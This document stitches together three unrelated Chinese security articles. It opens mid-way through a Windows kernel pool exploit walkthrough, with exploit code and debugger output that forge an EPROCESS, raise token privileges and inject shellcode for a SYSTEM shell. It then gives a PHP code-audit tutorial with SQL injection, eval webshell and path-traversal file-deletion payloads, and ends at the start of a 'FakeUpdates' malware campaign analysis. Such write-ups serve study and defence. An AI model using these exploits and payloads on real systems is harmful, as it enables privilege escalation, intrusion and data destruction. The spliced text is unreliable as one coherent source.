fffff803`39a00000 fffff803`3a4b6000 nt (pdb symbols) d:\symbolsxp\ntkrnlmp.pdb\90F5E1C8BBE1FE1FB8A714305EE06F361\ntkrnlmp.pdb
Loaded symbol image file: ntkrnlmp.exe
Image path: ntkrnlmp.exe
Image name: ntkrnlmp.exe
Browse all global symbols functions data
Image was built with /Brepro flag.
Timestamp: 4EFCF7A9 (This is a reproducible build file hash, not a timestamp)
CheckSum: 009785ED
ImageSize: 00AB6000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
Unable to enumerate user-mode unloaded modules, Win32 error 0n30
## 8\. SETUP_FAKE_EPROCESS
首先我们看下POOL_HEADER的结构：
struct POOL_HEADER
{
char PreviousSize;
char PoolIndex;
char BlockSize;
char PoolType;
int PoolTag;
Ptr64 ProcessBilled ;
};
在POOL_HEADER中，如果设置了PoolType中的PoolQuota位，那么将触发POOL
HEADER中ProcessBilled指针的使用，ProcessBilled字段存储经过如下所示的运算后的值。
ProcessBilled = EPROCESS_PTR ^ ExpPoolQuotaCookie ^ CHUNK_ADDR
当块被释放时，内核将检查ProcessBilled字段编码的指针是否是一个有效的EPROCESS指针
process_ptr = (struct _EPROCESS *)(chunk_addr ^ ExpPoolQuotaCookie ^ chunk_addr ->process_billed );
if ( process_ptr )
{
if (process_ptr < 0xFFFF800000000000 || (process_ptr ->Header.Type & 0x7F) != 3 )
KeBugCheckEx ([...])
[...]
}
如果是有效的指针，释放块后，内核将尝试返还与EPROCESS相关的用于引用的Quota
counter。如果此时EPROCESS是我们提供的FAKE_EPROCESS，它将使用FAKE_EPROCESS结构体来寻找要解引用的指针值。这将提供任意递减原语。递减的值是PoolHeader中的BlockSize。
我们的最终目的是为了提权，那么这里用到的提权方法是设置EPROCESS中TOKEN结构体的Privileges.Enable字段和Privileges.Present字段，默认情况下，低完整性级别的Token的Privileges.Present被设置为0x602880000，Privileges.Enable被设置为0x800000，这时具有的权限只有SeChangeNotifyPrivilege，如果想获取更多权限，例如将Privileges.Enable减1，它将变成
0x7fff，这将启用更多的权限，所以现在我们要做的就是递减TOKEN结构体的Privileges.Enable字段和Privileges.Present字段。
所以现在需要获取ExpPoolQuotaCookie、幽灵块的地址、EXP进程的EPROCESS、EXP进程的TOKEN，以便构造一个正确的FAKE_EPROCESS结构。
exploit_arbitrary_read(&xploit, xploit.kernel_base + NT_POOLQUOTACOOKIE_OFFSET, (char *)&xploit.ExpPoolQuotaCookie, 0x8);
printf("[+] ExpPoolQuotaCookie is : 0x%llx\n", xploit.ExpPoolQuotaCookie);
if (!find_self_eprocess(&xploit))//获取EXP进程的ERPCESS地址
goto leave;
exploit_arbitrary_read(&xploit, xploit.self_eprocess + 0x360, (char *)&xploit.self_token, 0x8);
xploit.self_token = xploit.self_token & (~0xF);
setup_fake_eprocess(&xploit);
获取到的值如下
0: kd> ? fffff803`39a00000 + 0x5748D0
Evaluate expression: -8782235612976 = fffff803`39f748d0
0: kd> ln fffff803`39f748d0
Browse module
Set bu breakpoint
(fffff803`39f748d0) nt!ExpPoolQuotaCookie | (fffff803`39f748d8) nt!PspEnclaveDispatchReturn
Exact matches:
0: kd> ? fffff803`39a00000 + 0x5743A0
Evaluate expression: -8782235614304 = fffff803`39f743a0
0: kd> ln fffff803`39f743a0 //system进程的EPROCESS
Browse module
Set bu breakpoint
(fffff803`39f743a0) nt!PsInitialSystemProcess | (fffff803`39f743a8) nt!PpmPlatformStates
Exact matches:
0: kd> dt nt!_EPROCESS 0xFFFFE102FFBBD0C0
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000073c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe102`fa0c5370 - 0xffffe102`ffc09370 ]//通过遍历这个结构，就可以找到EXP进程的EPROCESS
+0x300 RundownProtect : _EX_RUNDOWN_REF
+0x308 Flags2 : 0x200d000
........................................
+0x360 Token : _EX_FAST_REF
........................................
+0x410 QuotaBlock : 0xffffe102`fd322d40 _EPROCESS_QUOTA_BLOCK //这就是将要被递减的Quota counter 偏移为0x410
........................................
+0x450 ImageFileName : [15] "poc_exploit-re"
0: kd> ? 0xFFFFE102FFBBD0C0+0x360
Evaluate expression: -34071980026848 = ffffe102`ffbbd420
0: kd> dq ffffe102`ffbbd420 L1
ffffe102`ffbbd420 ffffb800`08ddb064
0: kd> ? ffffb800`08ddb064 & 0xFFFFFFFFFFFFFFF0
Evaluate expression: -79164688453536 = ffffb800`08ddb060 //这里才是真实的TOKEN值
0: kd> dt nt!_TOKEN ffffb800`08ddb060
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffff`ffffffff
+0x030 TokenLock : 0xffffe102`fe18dc90 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x078 SessionId : 1
............................................
0: kd> dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0)) [Type: _SEP_TOKEN_PRIVILEGES]
[+0x000] Present : 0x602880000 [Type: unsigned __int64] //默认值为0x602880000
[+0x008] Enabled : 0x800000 [Type: unsigned __int64] //默认值为0x800000
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
0: kd> !TOKEN ffffb800`08ddb060
_TOKEN 0xffffb80008ddb060
19 0x000000013 SeShutdownPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default //默认只有SeChangeNotifyPrivilege权限
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
此时构造FAKE_EPROCESS所需的值已经全都拿到了
void setup_fake_eprocess(xploit_t * xploit)
{
char fake_eprocess_attribute_buf[0x1000] = {0};
char fake_eprocess_buf[0x10000] = {0};
strcpy(fake_eprocess_attribute_buf, DUMB_ATTRIBUTE_NAME2);
initFakeEprocess(fake_eprocess_buf, (PVOID)xploit->self_token + 0x48);//填入self_token + 0x48
//#define DUMB_ATTRIBUTE_NAME2 "DUMB2"
//#define DUMB_ATTRIBUTE_NAME2_LEN sizeof(DUMB_ATTRIBUTE_NAME2)
memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
initFakeEprocess(fake_eprocess_buf, (PVOID)xploit->self_token + 0x41);//self_token + 0x41
memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN + FAKE_EPROCESS_SIZE, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
xploit->alloc_fake_eprocess(xploit, fake_eprocess_attribute_buf);
printf("[+] fake_eprocess is : 0x%llx\n", xploit->fake_eprocess);
}
self_token + 0x48和self_token + 0x41的值如下
0: kd> ? ffffb800`08ddb060 + 0x41
Evaluate expression: -79164688453471 = ffffb800`08ddb0a1
0: kd> dq ffffb800`08ddb0a1 L1
ffffb800`08ddb0a1 00000000`06028800 //Privileges.Present
0: kd> ? ffffb800`08ddb060 + 0x48
Evaluate expression: -79164688453464 = ffffb800`08ddb0a8
0: kd> dq ffffb800`08ddb0a8 L1
ffffb800`08ddb0a8 00000000`00800000 //Privileges.Enable
将Fake_EPROCESS填充到POOL_HEADER的ProcessBilled字段
xploit.setup_final_write(&xploit, final_write_buf);//这里将Pipe_Attribute属性中特定偏移处的值设置为幽灵块原始的Pipe_Attribute的值，以防蓝屏
free_pipes(xploit.respray);
xploit.respray = NULL;
free_pipes(xploit.rewrite);//释放漏洞块
xploit.rewrite = NULL;
xploit.final_write = prepare_pipes(SPRAY_SIZE * 10, xploit.targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf, xploit.spray_type);
if (!spray_pipes(xploit.final_write))//重新占用漏洞块，且修复了Pipe_Attribute为原始值，并且将ProcessBilled指针设置为Fake_Eprocess异或后的值
goto leave_wait;
填充完Fake_EPROCESS后，幽灵块的Pipe_Attribute如下
0: kd> dq ffffb80008cfb3e0
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 ffffb800`09126710 ffffb800`09126710
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 46464646`4646005a
ffffb800`08cfb420 41424344`08210000 d60eba94`936c5d5f
ffffb800`08cfb430 ffffb800`0885a190 ffffb800`0885a190 //list_nest已经还原
ffffb800`08cfb440 00000000`0040e85a 46464646`46464646
ffffb800`08cfb450 46464646`46464646 46464646`46464646
0: kd> dt nt!_POOL_HEADER ffffb800`08cfb420
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00001000 (0x8)
+0x000 Ulong1 : 0x8210000
+0x004 PoolTag : 0x41424344
+0x008 ProcessBilled : 0xd60eba94`936c5d5f _EPROCESS //这里是经过异或的FAKE_EPROCESS
+0x008 AllocatorBackTraceIndex : 0x5d5f
+0x00a PoolTagHash : 0x936c
0: kd> dq fffff803`39f748d0 L1
fffff803`39f748d0 d60ee396`61a519ef
0: kd> ? 0xd60eba94`936c5d5f ^ d60ee396`61a519ef ^ ffffb800`08cfb420
Evaluate expression: -34072075767664 = ffffe102`fa06f090 //
0: kd> dt nt!_EPROCESS ffffe102`fa06f090
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x41414141`41414141 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0x41414141`41414141 - 0x41414141`41414141 ]
+0x300 RundownProtect : _EX_RUNDOWN_REF
.........................................
+0x410 QuotaBlock : 0xffffb800`08ddb0a8 _EPROCESS_QUOTA_BLOCK
+0x418 ObjectTable : 0x41414141`41414141 _HANDLE_TABLE
.........................................
0: kd> dq 0xffffb80008ddb0a8 L1
ffffb800`08ddb0a8 00000000`00800000 //FAKE_EPROCESS的QuotaBlock已经被填充为TOKEN的Privileges.Enable，这个值将会在幽灵块释放后被递减
## 9\. 第一次释放幽灵块
当释放幽灵块时，FAKE_EPROCESS相关的Quota counter将会被递减，也就是会对Privileges.Enable进行递减。
xploit.free_ghost_chunk(&xploit);//第一次释放幽灵块
xploit.alloc_ghost_chunk(&xploit, attribute);//再次占用幽灵块
free_pipes(xploit.final_write);
xploit.final_write = NULL;
spray_pipes(xploit.final_write2);//第一次释放幽灵块后，这里再次占用漏洞块，然后将新的幽灵块的ProcessBilled继续填充为FAKE_EPROCESS
第一次释放幽灵块
0: kd> dq ffffb80008cfb3e0
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 ffffb800`0956c870 ffffb800`0956c870
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 46464646`4646005a
ffffb800`08cfb420 41424344`08e40000 d60eba94`936c581f
ffffb800`08cfb430 ffffb800`0885a190 ffffb800`0885a190
ffffb800`08cfb440 00000000`0040e85a 46464646`46464646
ffffb800`08cfb450 46464646`46464646 46464646`46464646
0: kd> dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0)) [Type: _SEP_TOKEN_PRIVILEGES]
[+0x000] Present : 0x602880000 [Type: unsigned __int64]
[+0x008] Enabled : 0x7ffdf0 [Type: unsigned __int64] //可以看到，Privileges.Enable的值已经改变
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
0: kd> dt nt!_POOL_HEADER ffffb800`08cfb420
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y11100100 (0xe4)
+0x002 PoolType : 0y00001000 (0x8)
+0x000 Ulong1 : 0x8e40000
+0x004 PoolTag : 0x41424344
+0x008 ProcessBilled : 0xd60eba94`936c581f _EPROCESS //这是第二次准备递减的异或后的FAKE_EPROCESS
+0x008 AllocatorBackTraceIndex : 0x581f
+0x00a PoolTagHash : 0x936c
## 10\. 第二次释放幽灵块
xploit.free_ghost_chunk(&xploit);
第二次释放幽灵块后，Privileges.Present也已经修改成功。
0: kd> dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0)) [Type: _SEP_TOKEN_PRIVILEGES]
[+0x000] Present : 0x60279c000 [Type: unsigned __int64]
[+0x008] Enabled : 0x7ffdf0 [Type: unsigned __int64]
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
#### 11\. shellcode注入
到此为止，我们已经成功获取到了SeDebugPrivilege权限
0: kd> dt _token ffff8b81`b54f8830
.................................
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled
19 0x000000013 SeShutdownPrivilege Attributes - Enabled
20 0x000000014 SeDebugPrivilege Attributes - Enabled
21 0x000000015 SeAuditPrivilege Attributes - Enabled
22 0x000000016 SeSystemEnvironmentPrivilege Attributes - Enabled
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
..................................
此时我们就可以打开任意SYSTEM权限进程，并注入shellcode实现弹出一个SYSTEM权限的shell。
* * * | 社区文章 |
首先这里我自我介绍下: 我代码审计也没学多久 但是代码学的久 其实代码审计你看的代码多了 你会感觉真的蛮简单的 (这里只针对原生态的php mvc框架)
Thinkphp框架 Laravel框架这些 我也不太会审计 所以这篇文章我只说原生态php 和 mvc框架的代码审计
解读下初学代码审计的人:
学习代码审计需要 学习php 以及框架吗？
答:学习代码审计是需要学习php的
php需要学到那种程度？
答:我觉得吧学到面向对象就差不多了 可能刚开始审计的话 就感觉很懵逼
一看这么多代码 都不知道从什么地方入手
这个没关系 我也遇到过
这里我推荐你去学习云之梦的php 跟着它把项目做完就可以了 各个功能写一遍就好了然后可以去看李小双大佬的代码审计课程 它这里包含了thinkphp
laravel框架审计 感觉是不错的
<https://www.bilibili.com/video/BV1QJ411z714?p=2>
好啦 前面就说这么说 咋们进入正题
总结出: 不要害怕代码审计 耐心看完每一个功能点 这样子会学到不少东西
代码审计分为
1. 逆向追踪/回溯变量 主要看参数是否可控 是否有过滤？ 过滤是否是全局过滤？搜索敏感的关键词 定向挖掘
2. 正向追踪/跟踪变量 找那些文件接收外部传入的参数 跟踪变量传递过程
3. 直接挖掘功能点漏洞 根据黑盒进行挖掘 根据自己经验来判断
4. 通读全文 了解程序架构 函数集文件 配置文件 config 安全过滤文件 filter check等
这里建议初学者用xdebug分析 我觉得这个工具合适蛮不错的
这里有篇文章:
<https://www.cnblogs.com/linqingvoe/p/10907672.html>
可以跟着他来安装
这里有两个工具 Seay源代码审计系统 rips
这里我喜欢用Seay源代码审计系统 虽然扫的不怎么准 但是定位危险函数还是不错的 这里我们说的是原生态的 不带任何框架的 这里可以使用这款工具来定位危险函数
比如说这里我们使用Seay源代码审计系统工具扫描出来的
看到这里是疑似是一个注入
这里明显是一个函数 我们此时就要想:在哪调用这个函数 是否有过滤 变量是否可控
如果这里不是一个函数 只是一个普通的sql语句 我们需要想:前面是否有函数来进行过滤了这个变量 他有没有进行单引号包裹 数据库是使用的是GBK还是什么?
好了 废话不多说 我们进入案例 (这里只分享自己审计的思路)
二次编码注入:
如果代码前面写的是urldecode的话 我们就可以使用url二次编码然后进行绕过
可以看到这里是过滤了
我们二次编码后 他变成了%27 %27解码后是单引号
这里有个案例:
这里可以看到$_GET传过来的id 进行了mysql_real_escape_string过滤
但是下面我们可以看到这里进行了urldecode 所以这里我们可以绕过
<http://127.0.0.1?id=%2527> union select 1,2,3 …
%2527解码后变成%27 %27正好是单引号
所以这里造成了二次编码注入
我们在挖掘sql注入漏洞的时候主要分这几个点:
我们用Seay源代码审计系统 扫到类似 select order 这些sql语句的时候 我们可以追溯变量 看他变量是从哪里来的 传过来之后有没有过滤之类的
比如:
这里是insert插入的一条sql语句
比如这个$data这个数组 我们看他是从哪里来的 选中右键 全局追踪
这里会有很多
这里可以看到这里作为形参传进去了
我们全局搜索看哪里调用这个函数
可以看到这里进行了调用
我们点进去 可以看到这里传入一个实参 我们这时候就要想他在传入实参之前有没有进行过滤 等等操作
代码审计其实就是一个追溯的一个过程 这里说的是函数 变量也是如此
看那个变量是从哪里过来的是 post 还是 get cookie 等等
我们看上面的截图可能看到getip() 一般getip() 是获取ip的 一般是不会对他进行过滤 我们可以查看他这个函数里面写的什么
这里看到这里进行获取ip地址
还有就是 你看他拼接sql语句的时候 有没有单引号包裹 如果没有可能造成一个int类型的注入
这里说几个函数:
遇到htmlspecialchars不要慌 看他第二个参数有没有设置
Echo htmlspecialchars($str,ENT_COMPAT) //只转换双引号
Echo htmlspecialchars($str,ENT_QUOTES) //转换双引号和单引号
Echo htmlspecialchars($str,ENT_NOQUOTES) //不转换任何引号
可能有些开发者觉得htmlspecialchars可以过滤sql注入 其实是不然的
我们可以看到如果不设置第二个参数 他是几乎没有任何作用的 只能过滤xss
还有比如说:
有些开发者喜欢使用replace进行过滤
比如:
比如：
Function test(){
$string = str_replace(‘%20’,’’,$string);
$string = str_replace(‘{’,’’,$string);
}
这里举一个例子 %2{7 这里将{替换为空 那么就变成%27 然后就能进行注入
等等
我们继续来看文件包含漏洞:
文件包含漏洞 分本地文件包含 和 远程文件包含
在我看的代码里面见的最多的可能就是本地文件包含了
挖掘文件包含漏洞的时候 我们主要看这几个函数:
require()
require_once()
include()
include_once()
主要分为这几个函数
挖掘文件包含的时候 我们还是要看可控的变量 再就是一般文件都喜欢这样子
Include **DIR**.$username.’php’;
像这种的他后缀有一个php的后缀
这时候我们就需要截断了
但是截断在php5.3已经修复了 所以我们要注意php的版本
截断常用的三种方式
第一种就是%00截断 %00受限于GPC 和 addslashes等函数的过滤 也就是说在开启GPC的情况下是不可用的
第二种方式就是 利用多个点进行截断 这种方式不受限于GPC先知 不过还是在php5.3修复了
Windows下需要240个点才能够截断
第三种方式是基于远程文件包含时利用问号?来伪截断 不受GPC和HTTP版本先知 只要能返回代码给包含函数 它就能执行
$metid是get提交过来的参数 如果不等于index 进行包含 所以这里需要截断
Xss漏洞 分为 反射性 dom型 存储型 我们就拿反射性和dom型来说
反射性xss:
通常是变量的直接输出
比如:
Echo $_GET[‘name’];
Echo $_SERVER[‘HTTP_REFERER’] 等等
举一个简单的例子
这是我当时挖一个cms的时候 虽然是后台的但是觉得还是不错的
这就是Echo $_SERVER[‘HTTP_REFERER’] 直接输出了
存储型xss:
挖掘存储型xss的时候 我们需要注意的点 留言板 发表评论出等等
此时我们要想 我们要想在他评论或者留言的时候进数据库的时候有没有进行过滤
并且出库的时候有没有进行过滤 这点我们是需要分析的点
我们看到留言板之后找到对应的功能文件 使用xdebug进行调试分析 看他有没有进行
Htmlspecialchars过滤等等
文件上传漏洞:
文件上传漏洞在挖掘的时候
我们需要注意这个函数 move_upload_file这个函数
move_upload_file函数直接把临时文件copy到新文件
挖掘文件上传漏洞的时候 分为这几个点:
黑名单过滤:
限制文件类型不是很全 php能够在大多数Webserver上面解析 典型的iis解析漏洞 ngix解析漏洞 等等
比如这种的我们就可以查找漏网之鱼进行文件上传
这种就是黑名单过滤不严格导致文件上传
实际中可能遇到这种的是很少的
文件头 content-type验证绕过
像这种就是content-type验证的 相信搞渗透的小伙伴们 对于这种验证肯定有了绕过了思路
没错 我们可以抓包进行更改type
还有就是程序不严谨导致绕过 可能有时候我们会发现 白名单的时候 我们无法上传文件
如果我们上传的后缀在白名单里面它会提示我们禁止上传
比如说
<script>alert(“您上传的文件不合法”)</script>
我们看到这个是不是觉得是有点问题的呢 它这里只不过是弹了一个窗 但是他还是会走后面上传的程序 所以说我们文件是上传上去了的
这里没有进行exit或者die终止后面的程序代码
所以导致上传
Pathinfo的问题
我们首先说pathinfo这个函数
pathinfo() 函数以数组的形式返回关于文件路径的信息。
返回的数组元素如下：
• [dirname]: 目录路径
• [basename]: 文件名
• [extension]: 文件后缀名
• [filename]: 不包含后缀的文件名
像这种就是content-type验证的 相信搞渗透的小伙伴们 对于这种验证肯定有了绕过了思路
没错 我们可以抓包进行更改type
还有就是程序不严谨导致绕过 可能有时候我们会发现 白名单的时候 我们无法上传文件
如果我们上传的后缀在白名单里面它会提示我们禁止上传
比如说
<script>alert(“您上传的文件不合法”)</script>
我们看到这个是不是觉得是有点问题的呢 它这里只不过是弹了一个窗 但是他还是会走后面上传的程序 所以说我们文件是上传上去了的
这里没有进行exit或者die终止后面的程序代码
所以导致上传
Pathinfo的问题
我们首先说pathinfo这个函数
pathinfo() 函数以数组的形式返回关于文件路径的信息。
返回的数组元素如下：
• [dirname]: 目录路径
• [basename]: 文件名
• [extension]: 文件后缀名
• [filename]: 不包含后缀的文件名
path 必需。规定要检查的路径。
options 可选。规定要返回的数组元素。默认是 all。
可能的值：
• PATHINFO_DIRNAME - 只返回 dirname
• PATHINFO_BASENAME - 只返回 basename
• PATHINFO_EXTENSION - 只返回 extension
• PATHINFO_FILENAME - 只返回 filename
Pathinfo它返回的是一个数组
我们再来看如下代码
$name = $_GET['name'];
$basename = pathinfo($name,PATHINFO_EXTENSION );
$pathname = "D:\phpStudyUser\PHPTutorial\WWW\\".$name;
if(!in_array($basename,['php', 'php3', 'php4', 'php5', 'phtml', 'pht'],true)){
file_put_contents($name,'<?php phpinfo()?>');
}else{
echo "错误";
}
这里看到in_array进行后缀检验 pathinfo获取后缀 我们在上传的时候 如果get传过来的参数是1.php 这里肯定是不允许上传的
但是如果写成1.php/. 它会成功上传 如果我们写成1.php/. 它的exrension是一个空的值 可以成功上传
好啦文件上传就先到这里
命令执行漏洞
这里我需要关注的这几个函数
1. system：执行一个外部的应用程序并显示输出的结果
2. exec：执行一个外部的应用程序
3. shell_exec：执行shell命令并返回输出的结果的字符串
4. passthru：执行一个UNIX系统命令并显示原始的输出
5. popen()
6. proc_popen()
等等
我们来看一个案例:
这里定义了一个Factory这个类 然后in_array 进行校验 查看是否有admin的权限 然后进行file_exists进行判断是否有这个路径
最后eval执行
我们来看getA()方法里面是怎么写的
这里是从get请求方式的过来的 最后直接return 并没有任何过滤
它既然是一个类文件 我们要看它实例化这个类的文件在哪 我们全局搜索
这里进行了实例化 接下来我们需要找到包含这个文件的
可以看到这几个文件进行了文件包含 我们进行构造
www.ycccms.com/config/count.php?a=Factory();@eval($_POST[v]);//../
所以一个正常的流程是
Count.php包含了inc那个文件然后那个文件进了实例化了Factory这个类
所以如果朋友类里面有eval这些危险函数不要慌 我们先看他哪里调用了这个类 再看哪里包含了这个文件 在进行挖掘
文件删除漏洞:
这个漏洞就比较简单了
这个在实战中可能遇到最多的就是unlink了 我们可以删除.lock文件导致重装等等
接下来看一个小的案例
function delfile(){
$file=safe_url(getform('path','post'));
$type=safe_url(getform('type','post'));
$file_path=file_path($file);
echo $file_path;
// exit;
$safe_path=array('upload','template','runtime','backup');
if(arr_search($file_path,$safe_path)){
$file=str_replace('//','/',$_SERVER['DOCUMENT_ROOT'].'/'.$file);
$r=$type=='folder' ? del_folder($file) :del_file($file);
if ($r){
returnmsg('json',1,'删除成功');
}else{
returnmsg('json',0,'删除失败,请确认文件夹内是否为空，且有删除权限');
}
}
post包:
POST /admin/save.php?act=delfile HTTP/1.1
Host: www.l.com:8000
Content-Length: 53
Accept: application/json, text/javascript, _/_ ; q=0.01
Origin: <http://www.l.com:8000>
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer:
[http://www.l.com:8000/admin/?act=imagelist&numtype=1&upfolder=sort](http://www.l.com:8000/admin/?act=imagelist&numtype=1&upfolder=sort)
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=rnm3qjr3uec6lm06lodb089qk0; zzz660_adminpass=1;
zzz660_adminpath=1; zzz660_adminname=admin; zzz660_admintime=1632728834;
zzz660_adminface=..%2Fplugins%2Fface%2Fface01.png; XDEBUG_SESSION=PHPSTORM
Connection: close
type=file&path=upload%2F..%2Finstall%2Finstall.lock
绕过$safe_path=array('upload','template','runtime','backup');
但是$file_path = file_path($file)
如果没有这个函数 这个是可以任意删除的
// 获取路径中的路径
function file_path( $path ) {
if (strpos( $path, './' )!== false) return error (
'404，很抱歉，路径有误,不支持相对路径！',SITE_PATH);
$list=array();
$path= substr( $path, 0, strrpos( $path, '/' ));
$list=splits($path,'/');
return $list;
}
这里判断了 是否有./
但是我们通常绕过可以使用. 但是这里尝试过 它通过正则给干掉了 所以这里是一个失败的案例
有时候文件删除也需要%00截断之类的 具体看代码是怎么写的
最后我们说下审计mvc框架
MVC顾名思义是三个单词的首字母放在一起的简称，M-model（模型），V-view（试图），C-controller（控制器）
我觉得审计mvc框架
最主要的三点
熟悉路由 熟悉url上面路由地址
熟悉怎么传参的 比如说有些传参可能是?id=1 但是mvc可能是&id=1 有些可能接收参数是$_GET 有些可能是input接收 等等
熟悉数据库内核 这个是需要调试的 我们只有熟悉了数据库内核 我们才知道它到底有没有进行过滤 才能进一步的挖掘
熟悉数据库内核我们举一个小的例子
我们就用yxcms的数据库内核来做一个小小的例子
$result = model('sort')->find("id=$id");
var_dump($result);
首先查sort这个表
下断点然后进行分析
这里可以看到new sortModel 赋值给这个了
public function find($condition = '', $field = '', $order = ''
return $this->model->table($this->table,
$this->ignoreTablePrefix)->field($field)->where($condition)->order($order)->find();
}
然后我们进入find函数 这里先是执行了 where 然后是 order
在就是find
我们ff7进去
Table 没什么好看的 给数据库赋值的一些东西 我们来到find
可以看到这里find函数还是调用的select函数 只不过给limit 加了一个 1
我们进入select函数
继续跟进where条件的函数 看看有没有过滤 因为id=1 我们是可控的所以 我们看下有没有过滤
$condition = "";
if(!empty($options['where'])) {
$condition = " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
可以看到这里的where没有进行任何的过滤 直接拼凑给$condtion了
return $this->query("SELECT $field FROM $table $where", array(), true);
我们出来再跟进query这个函数
可以看到这里直接执行了
具体数据库内核分析 我建议使用xdebug来分析 反正我觉得蛮好用的
如果分析出数据库内核没有任何过滤 我们就去分析传递参数的时候有没有过滤 然后进行挖掘
好啦 具体文章就到这里了 又水了一篇文章 呜呜呜 大佬们别骂了 在努力学了 | 社区文章 |
# ‘FakeUpdates’恶意行动利用大量网站传播木马
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
自从2017年12月开始，出现了越来越多的合法网站上带有恶意威胁程序。其传播方式依赖社工用户，为他们提供看起来很真实但实际上是虚假的更新通知。
一个利用雅虎等高流量网站上的恶意广告来[散步恶意软件的组织](https://executemalware.com/?p=432)也采用了类似的技术。这种模式也让人联想到了
[EITest的 HoeflerText
活动](https://blog.malwarebytes.com/cybercrime/2017/04/a-story-of-fonts-by-the-eitest-hoeflertext-campaign/)。其中被黑网站先是被炒作提高热度，然后提供下载恶意字体文件的链接。最近，有一场[恶意活动](https://blog.sucuri.net/2018/03/github-hosts-lokibot-infostealer.html)影响了Magebto网站，也是推送了虚假的更新通知（Flash
Player的更新），它实际上是[AZORult stealer](https://blog.sucuri.net/2018/03/github-hosts-infostealers-part-2-cryptominers-and-credit-card-stealers.html)。（比特币盗窃软件)
今天，我们主要来看一看我们称之为‘FakeUpdates
campaign’（虚假更新恶意软件活动）的具体细节，以及它错综复杂的过滤机制和逃避检测的技巧。我们发现的最早的例子是由
[BroadAnalysis](http://www.broadanalysis.com/2017/12/20/fake-flash-player-update-delivers-net-support-rat/)在2017年12月20日报告的。所谓的更新文件并不是一个可执行文件，而是从Dropbox（一种合法的文件托管服务）上下载的脚本，如下述动画所示:
图1：一个被入侵网站上典型的重定向到‘虚假更新’界面的例子
此次恶意活动以类似的方式影响了大量的内容管理系统（CMS）。我们所检查的几个网站都没有进行及时的更新，因此容易受到恶意代码注入的影响。攻击者可能是使用相同的技术来批量查找可以入侵的网站并建立相应的数据库来存储这些受害网站地址。但我们并没有足够的信息来证明这一点。
## 二、WordPress and Joomla
被攻击的使用WordPress和Joomla的网站，在其CMS的JavaScript文件中都存在着相同类型的注入。
图2：被入侵的WordPress站点推出的虚假Google Chrome更新
图3：被入侵的Joomla 站点推出的虚假Mozilla Firefox更新
一些常用的库文件包括jquery.js和caption.js都已经被附加了一些代码。通过和原文件比对就可以发现。
图4：与原文件对比后发现的额外代码
这些额外附加的代码负责以下一连串的事件，将其欺诈网页加载到您访问的网站上。下图显示了在CMS平台中注入代码的优化版本，其目标是访问重定向后的URL:
图5：起重定向功能的注入代码
